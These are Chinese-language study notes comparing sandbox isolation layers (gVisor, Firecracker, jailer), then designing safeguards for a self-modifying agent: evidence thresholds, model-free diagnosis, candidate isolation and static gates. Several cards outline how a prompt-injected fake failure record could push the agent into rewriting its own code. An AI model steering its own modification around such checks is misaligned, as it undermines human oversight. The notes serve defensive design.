解决什么问题:选边界前要看清三处差异。执行位置:进程级是与宿主同内核、同 UID(用户身份)的普通子进程,打穿后文件与网络按宿主用户全暴露;虚拟机级是独立内核的一次性机器,里面 root 满血、宿主零可见。信任根:进程级押注"被批准的代码不作恶";虚拟机级押注 hypervisor(虚拟机监督程序,硬件虚拟化边界)——开源实现 Firecracker 即一个基于 Linux KVM(内核虚拟机模块)的 VMM(即 hypervisor 的实现程序),官方卖点正是"硬件虚拟化提供的隔离性"。深度:进程级的一切约束(白名单、跳过 shell)都作用在解释层,解释层被打穿后没有任何内核边界兜底。

我们的办法:判据是任务面可枚举性——命令形态固定 / 代码全是自己写 / 数据不敏感,进程级白名单几行代码就够,要跑任意命令 / 跑不可信代码 / 碰敏感数据,就必须虚拟机级。次序:先审威胁模型(假设谁已得手 / 能碰什么)再选边界强度,与 NIST SP 800-207 的迁移方法论同构——先盘点主体与资产、再定信任策略(其第 2.1 节先申明全篇前提假设)。

0028 隔离级别光谱精读 —— 知识卡片

逃逸面自造

是什么:逃逸面自造借自业界的攻击面(attack surface)概念。容器把整个宿主内核的 syscall(应用请求内核办事的接口)边界全暴露给 guest(来宾负载),这条边界上有千级 CVE(公开漏洞编号)历史。gVisor(谷歌开源的用户态沙箱)官方 intro(概述)页最强一句是「攻击者必须同时打穿 gVisor 的 Sentry(gVisor 用 Go 写的用户态内核进程,替应用接住系统调用)内核和宿主 Linux 内核,两者不共享任何代码」。microVM(带独立内核的微型虚拟机)只暴露极小的设备模拟面,逃逸面收敛到 VMM(虚拟机监督程序,即 hypervisor 的实现程序)那点代码。

解决什么问题:NIST CSRC 术语表对攻击面的官方定义是:系统边界上攻击者可尝试进入、施加影响或提取数据的点的集合——是「边界上可触达的点」,而非代码总量;代码量只是度量它的代理尺度(proxy),不是官方等式。回答「为什么共享内核不够」——光有隔离的名词不够,要数得清攻击者可触达的点、要打穿的代码。两家的工程努力其实是同一个方向:砍暴露面,只是砍的位置不同。gVisor 在 syscall 边界重写一层厚的;Firecracker(亚马逊开源的 microVM 运行时)只留一层薄的设备模拟,把内核交给硬件虚拟化(芯片级虚拟化指令)隔开。

我们的办法:不自建隔离层,只做两件事——把不可信工具放到隔离光谱(从进程到容器再到用户态内核和虚拟机的强度排布)最右端的 microVM,再在外面配出网白名单。实测两种环境的内核不同:容器里 `uname -r` 显示与宿主同版本,microVM 里是独立版本,逃逸面差异看得见。

Firecracker 极简设备模型(minimal device model)

是什么:Firecracker(亚马逊开源的 microVM 运行时)的设备模型指它模拟给 guest(来宾虚拟机)的硬件清单,官方口径是设备清单极短:清单上只有 virtio(虚拟化场景的标准设备接口)Net/Block/Vsock 三件加一个串口;保留 i8042(老式键盘控制器芯片)但用途限死为「只当重启信号」;另外还有 KVM(内核虚拟机模块)支持的老式中断设备——PIC(可编程中断控制器)、IOAPIC(I/O 高级可编程中断控制器)和 PIT(可编程间隔定时器);取舍逻辑是:不在清单上的设备根本不存在,不存在就不用防。

解决什么问题:设备模拟代码是 VMM(Virtual Machine Monitor,虚拟机监督程序)暴露给 guest 的主要攻击面——guest 每多见一种设备,就多一类可打的解析代码。配套的形态约束同样极简,官方原句 "Each Firecracker process encapsulates one and only one microVM"(一个进程只包一台 microVM,内含 API/VMM/vCPU 三类线程);官方密度数字是最小配置(单核加 128 MiB 内存)下每宿主核每秒稳定创建 5 台,36 核机即每秒 180 台——安全与密度两头成立。

我们的办法:本项目把 Agent 工具的不可信命令放进这类极简形态的 microVM 执行;对照组容器暴露的是整个宿主内核,可打的门不在一个量级。

来宾即恶意自造

是什么:「来宾即恶意」自造是 Firecracker 设计文档的立场。原文是 "all vCPU threads are considered to be running malicious code as soon as they have been started"(vCPU(虚拟 CPU)线程一启动,就一律当作恶意代码),且这些恶意线程 "need to be contained"(必须被容纳住)——判定恶意的同时承诺兜底,而不是拒收不跑。

解决什么问题:它把设计题从「赌 guest 不会被攻破」改成「guest 被攻破后能碰到什么」。答案被压到最小:guest 直达的只有极简设备清单;官方的信任区分层是嵌套式的——从最不受信任的 guest vCPU 线程一路递增至最受信任的宿主,层层之间由屏障(barrier)隔开;网络过滤这类责任全部放到 guest 之外。

我们的对策:同构的落法是先承认提示注入(把恶意指令塞进模型读到的内容里、诱骗模型替攻击者执行)会完全得手,再量化「得手后能碰到什么」。实测虚拟机内 root(Linux 最高权限账号)满血不构成失守,失守与否看出网与宿主可见性。

jailer:Firecracker 的降权启动器(jailer)

是什么:jailer 是 Firecracker 自带的降权启动包装程序,官方生产部署文档要求经它启动("should be started using the jailer"),替代条款是部署方自施「等于或严于 jailer 的进程约束」。工作顺序:先用 root(Linux 最高权限)完成全部需要特权的设置——配 cgroup(内核的资源限额机制)、经 unshare()(把进程挪进新内核隔离空间的系统调用)开一个新挂载命名空间、pivot_root()(切换进程的挂载根)换根并 chroot(".") 进替身根目录。然后才降权切换 uid/gid。最后 exec(以新程序替换当前进程)拉起 Firecracker,可选再加 `--new-pid-ns` 隔离进程号空间。官方给 jailer 的定位句是 "isolate the Firecracker process in order to enhance Firecracker's security posture"(把 Firecracker 进程隔离开,以增强其安全姿态)。seccomp(内核的系统调用过滤机制)过滤器按线程逐个加载,对 vCPU 的时机官方写明是 "right before executing guest code"(赶在执行任何 guest 代码之前)。

解决什么问题:VMM 本身也是个进程,若以特权身份长跑,被打穿一次就等于交出宿主机。jailer 把「需要特权的时刻」压缩到启动前段,特权用完即交——攻击者即使打穿 VMM,拿到的也是一个降权、被 chroot 圈住、被 seccomp 滤过的进程,而不是宿主 root。

我们的办法:本项目没有重造这一层,选型时拿它当对照标准——所用运行时拉起沙箱的过程是否「先收紧再交棒,guest 代码未跑先装过滤」。

隔离与策略分工(VMM does no traffic filtering)

是什么:这是 Firecracker 设计文档写明的一句分工:"Firecracker does not perform any network traffic filtering"(Firecracker 不做任何网络流量过滤)——guest 的全部出站流量都被视为不可信,但流量过滤是宿主层的责任,VMM(虚拟机监督程序)只管隔离、不管策略。

解决什么问题:不分工有两种坏结果:把过滤塞进 VMM 会膨胀它的代码量,暴露面跟着变大;以为 VMM 会兜底的人会漏配外层策略。gVisor Security Model(安全模型)页的另一句原话补齐了另一半:"A sandbox is not a substitute for a secure architecture"(沙箱不是安全架构的替代品)——出网策略、密钥隔离、审计都在沙箱外各就各位,才成体系。

我们的对策:本项目在 microVM 外配了两层——工具层域名白名单加网络层「只许公网」预设,实测名单外请求连虚拟机都不启动、私网连接在网关处被拒,恰好落在「宿主层过滤」一侧;官方给的宿主层落地手段就是防火墙规则(nft 或 iptables-nft 这类工具)。

双墙原则自造

是什么:双墙原则自造是两道串联的墙。第一墙:应用对宿主 System API 的直接交互全部被 Sentry(gVisor 用 Go 写的用户态内核进程)拦截,没有任何系统调用直通宿主,每一条都由 Sentry 的独立实现代答。第二墙:Sentry 自己能用的宿主 API 被压到「更安全的受限集合」,官方描述是只剩 FD(文件描述符)复制与关闭、同步、定时器、信号管理这类窄动作;官方同时写明两个例外:建新 socket(网络套接字)仅当 host networking(gVisor 的可选网络模式,让沙箱直接使用宿主网络栈)模式启用,打开文件仅当 directfs(gVisor 里让 Sentry 直连容器根文件系统的机制,2023 年中起默认启用)启用。

解决什么问题:第二墙防的是「攻破 Sentry 之后连锁提权」:攻击者就算拿下这层内核,也发现它自己默认连文件都开不了,第二跳没有落点。配套纪律是工程性的,官方句句在案:"No CGo is allowed. The Sentry must be a pure Go binary."(禁与 C 语言混合编译,Sentry 必须是纯 Go 二进制)、所有 unsafe 代码集中收进以 unsafe.go 结尾的文件、

持续 fuzzing(自动化随机输入测试)。

我们的办法:本项目未采用 gVisor——要跑任意 Linux 命令,选了兼容性接近完整的 microVM(独立内核的微型虚拟机);但这道第二墙的思路可复用:给隔离层自身断权,比给隔离层多写检查更压得住连锁失败。

Gofer(gVisor 的独立文件代理进程)

是什么:Gofer 是 gVisor 里独立于 Sentry(用户态内核进程)的文件代理进程,官方原句:"The Gofer process manages the container's filesystem and provides file descriptors to the sandbox upon request"(Gofer 进程管理容器的文件系统,并按请求向沙箱提供文件描述符);官方给它的定位是「稍更受信任的伴生进程,跑在稍更特权的上下文里」——权限略高于 Sentry。Sentry 这边,官方写明沙箱自身运行在一个空的 mount namespace(挂载命名空间,进程专属的文件系统视图)里,另有隔离的用户命名空间和最小化的 capabilities(Linux 的权限位集合);directfs 关闭时,需要文件才经 socket(进程间通信端点)向 Gofer 要 FD(文件描述符,指向已打开文件的句柄),再据此读写。

解决什么问题:文件系统是内核攻击面里最肥的一段——符号链接(指向别处路径的特殊文件)与恶意挂载是经典的逃逸跳板。官方文档写明 directfs 自 2023 年中起在 runsc(gVisor 的运行命令)中默认启用:启用后 Sentry 直连容器根文件系统、自己解析路径,访问被限定在容器 rootfs(容器根文件系统)视图内;directfs 关闭时,全部文件操作才由 Sentry 经 socket 向 Gofer 要 FD 代答。两种形态都在收窄暴露面——前者把 Sentry 的访问圈进容器视图,后者把解析交给权限稍高的 Gofer;攻破 Sentry 的攻击者面对的也只是窄接口或容器内视图,而不是内核整段文件系统代码。

我们的办法:同一目标在本项目由 microVM 方案达成——虚拟机自带独立文件系统,实测虚拟机内看不到任何宿主目录,文件攻击面根本不与宿主共享。

平台三代:ptrace、sysrap、KVM(gVisor platform backends)

是什么:gVisor 拦截应用系统调用的实现载体先后有三种。ptrace 平台用 PTRACE_SYSEMU(调试器接口里「让代码照跑、但拦下系统调用」的模式),代价是上下文切换开销大——官方已写明它 "is no longer supported"(不再支持)且预计最终彻底移除,所以是「先后」而非长期并存的三代。sysrap 平台自 2023 年中取代 ptrace 成为默认,借 seccomp(内核的系统调用过滤机制)的 SECCOMP_RET_TRAP(让违规调用触发 SIGSYS——seccomp 违规时内核发给进程的信号——把控制权交回 gVisor),轻得多。KVM 平台让 Sentry 同时扮演 guest OS 和 VMM(虚拟机监督程序),没有虚拟硬件层,沙箱仍保持进程模型。

解决什么问题:拦截机制决定性能与部署场景,官方的选择建议是:裸金属(不跑在虚拟机里)用 KVM 平台性能最好;虚拟机内用 sysrap 更合适——同一套安全模型配不同的接地方式。

我们的办法:本项目未用 gVisor,这张卡记的是选型要看的另一半:评估沙箱不只看隔离强度,还要看它靠什么机制接到硬件上。同一功能可以有不同实现,性能与适用场景各不同,且实现本身有生命周期(ptrace 被废弃即一例)。

硬件虚拟化不自动等于更安全(virtualization ≠ security)

是什么:硬件虚拟化不自动等于更安全:不应因为用了虚拟化硬件就断定系统更安全或更不安全。这句提醒出自 gVisor Security Model(安全模型)页的 FAQ 小节。原话比喻「正如单是使用承载式车身(unibody alone)并不能让汽车安全」,关键限定词是 alone——仅凭一项技术就宣称安全,是把必要条件当成了充分条件。为什么单靠硬件虚拟化还不够,官方 FAQ 小节写明:"device emulation code in the host kernel (e.g. APIC) or optimizations (e.g. vhost) can be more complex than a simple system call"(宿主内核里的设备模拟代码——如 APIC,高级可编程中断控制器——或优化路径——如 vhost——可能比一次简单系统调用更复杂)。VM(虚拟机)方案里,guest 的硬件中断由宿主内核里的设备模拟代码(如 KVM 的 APIC 模拟)代劳,这段代码越复杂,暴露面越大。

解决什么问题:它纠正「VM 一定比用户态内核安全」的直觉,把比较拉回逃逸面记账:硬件虚拟化的芯片级硬边界是真优势,但边界内暴露的代码量同样要数。两家的答案从两端逼近同一目标——gVisor 不做设备模拟、直接用沙箱化的宿主 API;Firecracker 保留 VM 硬边界、把设备清单削到极简。

我们的办法:本项目取 Firecracker 一侧的组合——硬件虚拟化硬边界加极简设备(microsandbox 这类轻量运行时,以 libkrnl(把 Linux 的 KVM(内核虚拟机模块)包成轻量库)这类底座实现),而不是全功能模拟的传统虚拟机。

0001 失败轨迹与病灶 —— 知识卡片

失败轨迹自造

是什么:失败轨迹是一条结构化的生产事故记录,完整写明 Agent 一次失败任务的全过程。它是"Agent 自我修改"系统的输入原料——系统要改自己的代码,不能靠拍脑袋,得先靠这类记录看见自己病在哪。好的事故记录还要能算出影响面,比如这次事故多打了 3 次本不该发生的请求,还压住一笔该到账的支付。运维方法论 SRE(站点可靠性工程)的事故复盘就要求写明事故、影响、处置三件事。

解决什么问题:生产里 Agent 会犯"同一个错反复重试"这类事故,比如银行已明确回绝的扣款它连着提交了 4 次。把事故固化成统一格式的记录,后面聚合、立案(把聚合结果定为一份额正式的修改请求)、改代码、验证每个环节才有东西可消费,修改的"起诉状"自造才算立得住。这种字段组合也有行业参照——HTTP 重试库 urllib3 裁决"该不该重试"时,就按错误类别、请求方法、状态码清单逐类判定。它默认只重试幂等方法,即同一请求重复发结果不变的那种。

我们的办法:每条事故落成一行 JSON 记录,关键取值形如 `"error_code": "PAYMENT_DECLINED"` 配 `"retryable": false` 再配 `"attempts": 4`,再附一句人话 `evidence(证据原文)`。`retryable=false` 意思是"这种错别重试",与"试了 4 次"并排一放,"不该重试却在重试"的实锤就摆在纸面上了。

改代码,不改 prompt 自造

是什么:这是给自我修改系统选"改哪里"的一条立场:修 bug 要把改动落在代码的控制逻辑上,而不是往 prompt(写给模型的指令文本)里加一句嘱咐。要说清楚:靠文字反馈改进并不算错——研究项目 Reflexion 就让 Agent 用语言反思任务反馈来改进(不更新模型参数),是公认有效的路线。区别在于文本改进无法机器验证,代码改动却可以编译、重放失败案例、跑回归测试。自创比喻(文献里没有对应说法):prompt 是"劝"——像门上贴张"请勿入内"的纸条,可能被无视,而代码是"闸"——重试控制函数返回 `False` 就是 `False`,落下了就是落下了。

解决什么问题:prompt 里的嘱咐会被长上下文稀释、被别的指令覆盖,而且加了一句话没法系统地检验它管不管用。代码则相反——研究项目 Voyager 让 Agent 把学到的技能沉淀成可执行代码库,靠环境反馈、执行报错和自我验证来迭代改进,吃到的正是"程序可被机器验证"的红利。所以只有代码改动才谈得上"验证",后续所有语义检查(对候选改动逐条跑的自动化行为测试)验的全是行为,prompt 无从验起。

我们的办法:面对"不可重试的错误被反复重试"这个病,立场选改重试控制代码而非加 prompt;立案结论也明写"根因在控制代码,不在 prompt",模型只许照方抓药。

故意预埋的 bug(intentionally seeded bug)

是什么:指在稳定版自造里故意保留、不许提前修掉的已知缺陷。它是整个自我修改流程要对付的固定目标:提案、安检(发布前对候选改动的静态安全检查)、验证、发布(把改动正式对外推出)每个环节演的都是"怎么安全地把这个 bug 改掉"。行业里有近亲:混沌工程把"凡能打破稳定状态的事件"都当作可注入的实验变量。软件测试里也有"植入缺陷"(seeded fault / mutation testing)的成熟做法,故意往代码里种 bug 看测试抓不抓得住——这里就是它的静态版,检验对象换成整条自我修改流水线。

解决什么问题:复刻或测试自我修改系统需要一个确定、可复现的病。要是有人手痒把它修好,后面所有环节就无病可治,整条验证链当场断掉。SRE 书(发布工程一章)要求发布流程的任何改动"应是有意的,而非意外的",预埋缺陷把"有意"写到极致。

我们的办法:把"此缺陷系有意保留"写进代码首行注释,复刻纪律是原样保留,顺手修好反而算做错。这次的病根有两处:重试函数收了 `retryable` 参数却不用、只看次数没到上限就放行,熔断同样不看错误类型而让永久性错误陪跑满 5 次。

标准库读 JSON 的惯用两连(Path.read_text() + json.loads())

是什么:这是 Python 标准库(pathlib 与 json 模块)读 JSON(JSON,一种键值对文本格式)文件的两步固定搭配:先用 `Path.read_text()` 把整个文件一次读成字符串,相当于把"打开-读-关闭"并成一步;再用 `json.loads()` 把字符串解析成 Python 对象。

解决什么问题:零依赖地读配置和事故记录,不必引入任何第三方库。最大的翻车点是编码参数:官方文档写明,不指定 `encoding` 时文本模式用的编码取决于平台(platform-dependent,会调用 `locale.getencoding()` 取系统区域设置)。中文 Windows 上常落到 GBK 这类本地编码,文件里中文一多就会抛 `UnicodeDecodeError`(内置的标准解码异常),所以跨平台读中文务必显式写 `encoding="utf-8"`。另外别和收文件对象的 `json.load()` 混用,loads 的 s 是 string(字符串);顺带一提,3.6 起两者都能直接吃二进制——loads 接受 bytes/bytearray(按 UTF-8/16/32 解码),load 的文件参数也能用二进制模式打开。

我们的办法:用 `Path(__file__).parent` 拼相对路径而不是写死绝对路径,脚本换台机器也能跑,读文件固定带上 `encoding="utf-8"`。最小形态形如 `json.loads((ROOT / "data.json").read_text(encoding="utf-8"))`。

0002 轨迹聚合与修改请求 —— 知识卡片

轨迹聚合(trjectory aggregation)

是什么:轨迹聚合是把散落的多条失败轨迹自造按失败模式归堆、再决定要不要立案(把聚合结果定为一份额正式的修改请求)的确诊工序。第一步过滤:只留「任务失败 + 系统明确禁止重试 + 却重试了」的轨迹,健康行为比如超时后重试一次就成功,直接排除;第二步分组:剩下的按(工具, 错误码)二元组归堆,两条 `charge_card` 加 `PAYMENT_DECLINED` 的轨迹就进同一堆。

解决什么问题:单条轨迹只是孤证,聚合把它变成带支持数的证据堆。运维方法论 SRE 主张:告警要贴着症状(symptom,用户直接感知的故障表现)而不是根因来设——"不该重试却在重试"正是用户直接感知的症状,聚合对准的是症状而不是某次偶发的根因。每堆还能算出量化指标,比如几条轨迹支持、一共浪费了多少次多余重试,后面的立案才有账可查。

我们的办法:过滤和分组用一次遍历完成,见"多轨迹支持门槛"卡(下一张细讲)。被排除的轨迹也照样打印,形如「排除:超时重试成功的那条——正常重试、不该立案」——过滤规则自身要能被人审计,闸不仅拦,还要让人能复核拦得对不对。

多轨迹支持门槛自造

是什么:这是自我修改系统的「点火条件」自造:同一失败模式至少要有两条独立轨迹支持,才允许立案并触发修改。这不是数字迷信——两条独立证据都指向同一模式,才像真病,不像噪声或操纵。文献里有精确对应——运维方法论 SRE 的多窗口燃烧率告警(multiwindow multi-burn-rate)要求"长窗烧得快"(证明确有问题)与"短窗仍在烧"(证明此刻还在发生)同时满足才拉响,即多条证据且持续。数字"2"只是设计选择,与文献精神一致,不是魔法数字。

解决什么问题:如果一条轨迹就能扳动"改自己代码"的开关,这个开关就太容易被扳动。一条被提示注入(把恶意指令塞进系统读到的内容里)的假轨迹,就能骗系统去改自己的重试逻辑——OWASP 大模型风险清单也提醒:注入内容不必人眼可读。假设生产里只有一条"扣款被拒"轨迹,分组后这堆只有 1 条,过不了门槛——门槛只认数量,不认单条证据看起来多铁。流程打印"没有足够支持的失败模式,不改代码",并到此为止。门槛还有常被漏掉的另一半:立案有条件,销案(解除已立的案)也该有条件。工程上叫迟滞(hysteresis):报警后指标回落,还要再稳一小段才销案。这样免得在门槛附近抖来抖去。

我们的办法:门槛写成显式的数量判断,堆内记录数满 2 才立案;宁可多等一条证据,也不给单点噪声和单点操纵开门。

修改请求(modification request)

是什么:是轨迹聚合并过门槛后产出的正式立案文书,像病历汇总成的一份"手术申请单"自造。它对应业界的成熟术语:IT 服务管理框架 ITIL 4 的变更实践(change enablement,旧称变更管理)以变更请求(change request)为起点——变更需求被正式提案后才开始审批,本系统的"立案"正是这一步。一张单子写清三件事:要不要动手术(`change_required`)、动哪里(`target`,即根因所在的控制代码)、依据哪些证据(`source_case_ids`,证据轨迹的编号清单),外加支持数与多余重试次数两个量化指标。

解决什么问题:它把"该不该自我修改"从一种模糊感觉变成一份可复核的结论——谁支持、为什么改、改哪,白纸黑字。后面生成补丁、安检(后面对候选改动的安全检查环节)、验证、发布各环节都只认这张单子。SRE 书要求发布流程的任何改动"应是有意,而非意外";本系统用"只认单子"实现这层把关。成熟的变更流程还会给请求分级(常规/标准/紧急,级别决定审批强度),后面的安检环节可对应理解。

我们的办法:立案理由直接写明"重试/熔断控制无视 `retryable=false`,根因在控制代码,不在 `prompt`"。证据轨迹逐条列名,单子打印出来供旁观者核对。

确诊与开药分离自造

是什么:这是自我修改安全骨架的第一根柱子自造:根因定位(确诊)由模型外的确定性代码直接给出,模型只负责按确诊结论生成补丁文本(开药)。确诊权不在模型手里——"根因落在哪类代码"是运维者预先划定的管辖范围,用安全术语说就是最小权限(即 `least privilege`:只给任务所必需的权力),写死在代码里,不从数据现场推断。这个收紧是显式立场:主流研究(如 `Voyager`、`Reflexion`)让模型自我验证、自我反思,本系统故意不这么做,为的是不给被操纵的轨迹任何"指哪改哪"的权力。

解决什么问题:如果把确诊也交给模型,一条假轨迹加一次诱导,就可能让模型指着任意代码说"病在这",自我修改就成了一件可以被操纵的武器。分离之后,模型手里只剩"照方抓药"的有限权力。用工作流(workflow)的行话说,这是把关键步骤固定在预先写定的代码路径里——Anthropic 对 workflow 的定义就是"LLM 和工具按预先写定的代码路径被编排",本系统只在"开药"一步给模型松绑。OWASP 给大模型应用的缓解建议也是同方向:约束模型行为、过滤输入输出、最小权限、留人在环(human-in-the-loop)。

我们的办法:立案输出里根因指向固定写成重试控制代码,不随轨迹数据漂移。模型此后只生成候选补丁,编译、验证与发布决定全在模型外的确定性代码手里。

defaultdict(list)(collections.defaultdict)

是什么:Python 标准库 `collections` 里带默认出厂值的字典:访问不存在的键时,自动用构造时传入的"零值工厂"(官方叫 `default_factory`)造一个空值,而不是抛 `KeyError`。`defaultdict(list)` 见到新键就自动配一个空列表,好比仓库管理员看到新货名就先装一个空货架自造。这个自动有两层细节:一是 `__missing__` 钩子只对 `d[k]` 这种取值生效,换 `d.get(k)` 的温和取法照样返回 `None`、不开新货架;二是造出的默认值会真的插入字典——分组能持续累积,靠的正是这一点。

解决什么问题:普通字典做分组,得先判断"这堆存不存在,不存在就先建堆再放";`defaultdict` 把这个判断藏掉,循环体只剩一行。官方文档的分组惯用法正是这么写的,并评价它比等价的 `dict.setdefault()` 写法"更简单也更快"。分组场景的键集合往往事先不可知——生产会冒出什么(工具, 错误码)组合没人说得准——正需要这种"自动开货架"。

我们的办法:聚合分组就用 `defaultdict(list)`, 形如 `repeated[(item["tool"], item["error_code"])]`.`append(item)`, 第一次见到的组合自动开新堆;键集合确定、能事先列全的场景,用普通字典就够。

自修改复刻0003 确定性提案与物理隔离 —— 知识卡片

候选与稳定版的物理隔离(candidate—stable physical isolation)

是什么:候选与稳定版的物理隔离[自造],指模型产出的修改草稿与正式生产代码被写进两个互不相通的目录、在文件系统层面互不可及的安排。这里的稳定版[自造]指自我修改系统里作为修改对象的正式代码区,候选代码[自造]指改出来、还没验证转正的草稿副本。这不是新发明:NIST 的 SSDF(安全软件开发框架,SP 800-218)实践 PS.1 要求"保护一切形态的代码不被未经授权访问与篡改",思路同源:不该碰正式代码的东西,就在机制上让它碰不到。ThoughtWorks 技术趋势也把"给编码代理上沙箱执行"(隔离环境加受限文件系统)列为值得关注/采用的实践。物理隔离把"自我修改"降级成"给自己写草稿"[自造比喻]——好比改动先落功能分支(feature branch,与主线并行的开发分支)或预演环境(staging, 上生产前模拟真实运行的副本环境)验证、再合入主干(trunk/main,正式代码所在的主线分支)。草稿错了扔掉就行,正本要转正必须过全部检查。

解决什么问题:它同时防两类风险:事故风险(草稿里的坏改动波及生产)和追溯风险(改完没有原稿可对比)。隔离还要配一道现场证据才可信:每轮生成后把稳定版重新读一遍、与改动前的文本逐字节比对。这正是"用哈希/校验和(checksum,给数据算出的比对指纹)验证完整性"的思路(提炼自 SSDF 的完整性校验要求)。比对打印形如「稳定版未被改动: True」的一行结论,隔离就从设计承诺变成当场可验的事实。

我们的办法:候选一律写进独立目录,稳定版一个字节不动;生成流程末尾固定做读回逐字节比对,实测每轮结果都是 True。

恰好一次匹配与大声失败自造

是什么:恰好一次匹配是整块替换式打补丁的一道自我保护规则:每段要被替换的旧代码块,必须先源码里恰好出现一次;出现 0 次(稳定版升级漂移、对不上号)或 2 次以上(源码被塞进了奇怪的东西)都直接抛错、拒绝动手。fail loud(大声失败)是它的配套立场:宁可让补丁失败并报错,也绝不含糊地猜着改。工程里有同款信条:维基百科把 fail-fast(快速失败)定义为"宁可停止正常运行,也不带着疑似缺陷的状态继续跑",《程序员修炼之道》(The Pragmatic Programmer)把它叫"尽早崩溃""死程序不说谎"。

解决什么问题:补丁最怕打偏,而行业默认语义恰恰是"尽力而为地猜"。经典打补丁工具 GNU patch 允许模糊系数(fuzz factor,匹配时容忍上下文有几行对不上的容差);手册明说"容差越大,补丁打错的几率越高"。patch 默认最大容差 2 行,实在贴不上的碎片写进 .rej(被拒绝的碎片)文件了事。比如稳定版里的重试函数被人改了名,替换器数出 0 次匹配,立刻抛 ValueError(内置的值错误异常)中止。严格匹配的价值正在于此:不像默认容差那样带着出入硬贴,静默生成一份根本没打上的"补丁",让病灶假装被治好。它和"动手前先算一份 SHA-256(安全散列算法,给文件算出唯一指纹)摘要做比对"是同一个思想:动手前先确认世界还是你以为的样子。

我们的办法:替换函数内置出现次数判断,计数不为 1 就抛错,等效于把模糊系数设为 0、拒绝产生 .rej 文件;给稳定版函数改名的捣乱输入走一遍即抛错,稳定版一个字节都没被改动。

补丁行为闭环自造

是什么:补丁行为闭环[自造]指一份补丁的各处改动互相配套、合在一起才构成完整的新行为;"最小 diff"(diff 即改动说明书,逐行写明删了什么、加了什么)里的"小"指改动行数少,不等于只改一处。Google 的工程实践指南(Small CLs)有同款标准:一个改动最合适的尺寸,是"恰好一个自包含的改动"(self-contained change)——只解决一件事的最小改动,并且小改动会被审得更细。修复常常是一剂多味的药[自创比喻]:改了函数,就得连着改这个函数查的表。

解决什么问题:"改了一半"的补丁最隐蔽——每一处局部看都对,合起来行为却不闭环。比如修"不可重试的错误被反复重试"要三处协调:先把新错误码加进禁重试清单;再让重试函数开头查这张表、命中就拒绝重试;再让熔断函数对永久错误立即熔断(连错 1 次就断,而不是熬满 5 次)。后两处都查第一处那张表,少改任何一段都不闭环:只改重试不改熔断,不重试的病好了,"永久错误陪跑满 5 次"的病还留着。

我们的办法:修复内容预先写成成对的旧块/新块常量,几段作为一个整体一次替换、一次打包;审补丁以"行为是否闭环"为准而非"处数最少",回归检查(regression,改完再跑一遍旧功能确认没弄坏)也重点盯这类改了一半的病。

difflib.unified_diff(Python 标准库的 diff 生成器)

是什么:difflib.unified_diff 是 Python 标准库 difflib 模块里的文本对比函数,对比两段文本、输出 unified 格式(-- / +++ / @@ / - / +)的"改动说明书"。unified 是由 GNU diff 推广、POSIX 手册收录的统一差异格式,git 默认也采用它。这份说明书只描述、不做修改:它只负责把改动说清楚给人看,真正动手改的另有其人——本项目正是看中这个分工才选它。

解决什么问题:审查补丁的人需要一眼看到"改了哪几行、从什么改成什么"。输出里 @@ -l,s +l,s @@ 这样的行头给出改动块在两个文件里各自的起始行与行数(l 是起始行、s 是行数)。- 行来自旧文件,+ 行来自新文件。用法上有三个易错点:输入必须是"行"的列表,要先用 splitlines(keepends=True)切行并保留换行符,直接喂整块字符串 diff 会错位;fromfile / tofile 两个标签会写进 diff 头部,标成"修改前/修改后",说明书就自带从哪改到哪;返回值是行迭代器,要用 "".join(...) 拼成字符串再存。还有两个官方要点:参数 n 控制上下文行数、默认 3 行——传统补丁工具靠上下文行定位改动位置,上下文越多越贴得稳;difflib 默认给 3 行,与上一卡"不猜着改"是同一处较真;输入行若不带结尾换行符,官方推荐的另一条路是传 lineterm=''。

我们的办法:生成候选补丁时同步产出 diff 原文、随候选打包,发布存档时一并归档,人审与机器验证看同一份说明书。最小调用形如 difflib.unified_diff(old_lines, new_lines, fromfile="修改前", tofile="修改后")。

自修改复刻0004 宿主静态闸 —— 知识卡片

检查灯表自造

是什么:检查灯表[自造]指把候选放行前的全部检查组织成一张固定格数的布尔表:表从全灭起步,过一关亮一格,发布决定退化为"数绿灯"。业界管这类机制叫 quality gate(质量门禁)——SonarSource(SonarQube 背后的公司)的文档说它"通过回答唯一的问题:我的项目可以发布了么——来执行质量策略",条件本身是事先固定好的一组。好比体检报告的指标栏[自创比喻]——一格一项、亮没亮一眼可查,不存在"考官觉得差不多就行"的自由裁量。

为什么重要:它让"能不能发布"不依赖任何临场判断,判断越少、操纵空间越小;它也让验证体系可以逐格点亮、逐步建设,每新增一种检查就是多亮一格,而不是往一个函数里堆 if。学界有同款思路:论文 AutoSafeCoder 让静态分析与模糊测试(fuzzing,喂随机输入找崩溃)作为先后两道关卡接力把关。灯表还诚实表达进度:只亮两格就明说"离能发布还早",不会被误读成基本合格。

我们怎么用:一张十格灯表,前两格是静态检查(能编译、无可疑语法),其余八格留给后面的沙箱(隔离运行不可信代码的环境)行为检查与发布审查;实测正常候选只亮前两格——过静态检查远不等于能发布,捣乱候选第二格熄灭、当场拒绝。

静态编译关自造

是什么:静态编译关[自造]指用 Python 内置函数 compile() 对候选源码做"只编译、不运行"的语法检查。官方定义是"把源码编译成代码对象或 AST(抽象语法树)对象";mode 取 "exec" 表示按语句序列编译,语法不合法就地抛 SyntaxError(语法错误异常)。它对代码的善恶完全失明——再恶毒的意图,只要语法合法就能通过这一关。

解决什么问题:候选代码迟早要被执行,执行前先用最便宜的手段粗筛一遍——语法都通不过的候选,不值得花沙箱(sandbox,隔离运行不可信代码的环境)的钱和时间。好比机场先看登机牌快筛、才轮到全身扫描[自创比喻]。连"只编译"也不是零风险:官方文档明说,足够大或足够复杂的字符串可能让 Python 解释器本身崩溃(官方限定在编译成 AST 对象的场景)——所以这一关只能当最便宜的粗筛,不能当保险箱。反面印证也来自官方:内置 exec() 的文档警告"此函数会执行任意代码,喂入不可信的用户输入会导致安全漏洞",可见编译关和内建限制都不是安全边界。调用形如 compile(源码, 文件名, "exec")。第二个参数惯用 '<string>',只用于报错显示、表示源码来自字符串而非真实文件。它和 AST 关分工互补:编译关拦"写错的",AST 关拦"写得太能干的"。

我们的办法:它占灯表第一格;实测一段语法完全合法的恶意候选,这一格照样亮——证明它只认语法不认善恶,拦恶意得靠下一关。

AST 拒绝列表(AST denylist)

